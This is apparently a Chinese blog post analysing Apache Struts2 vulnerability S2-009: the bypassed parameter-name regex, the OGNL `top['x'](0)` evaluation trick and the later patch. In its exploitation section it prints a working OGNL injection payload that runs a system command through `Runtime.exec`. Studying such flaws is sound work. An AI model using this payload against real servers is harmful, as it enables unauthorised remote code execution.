前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

S2-009 实际上应该是 S2-003/S2-005 的绕过。


环境搭建

2.3.1.1 版本的 struts2 + Tomcat 9,写好 Action 里面成员变量的 getter 和 setter。

漏洞利用

先回顾一下当初修复用的正则表达式:

private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_']+";

小括号、中括号、单引号都是在白名单中的。

然后看看官方通告,可以看出问题就在于 OGNL 表达式的奇妙语法,会将这样一个白名单中的表达式:

top['foo'](0)

解析成:

(top['foo'])(0)

也就是说会把 top[‘foo’] 当作一个表达式来执行,而在上下文中,可以用 top 来访问 Action 中的成员变量,所以可以通过传递一个变量名为上面表达式、一个变量名为 Action 中 String 类型成员变量且变量值为实现命令执行的表达式,总共两个 GET 参数来实现一次攻击。

payload(需要进行 URL 编码):

password=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('calc'))(meh)&top['password'](0)=true

还有一点需要注意的是,struts2 取参之前会有个排序,所以成员变量名的首字母要在 T 前面。

漏洞分析

没什么好分析的,这个漏洞是 S2-003/S2-005 的绕过,流程也是那一套攻击流程。

漏洞修复

在 2.3.3 版本中,可以发现表达式执行中加了一个检测:

protected void setValue(String name, Map<String, Object> context, Object root, Object value, boolean evalName) throws OgnlException {
    Object tree = compile(name);
    if (!evalName && isEvalExpression(tree, context)) {
        throw new OgnlException("Eval expression cannot be used as parameter name");
    }
    Ognl.setValue(tree, context, root, value);
}

具体的是检测什么语法涉及底层编译执行,就不研究了,反正就是把:

xxx[]()

这样的语法 ban 掉了。


Orz


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-010
struts2系列漏洞 S2-008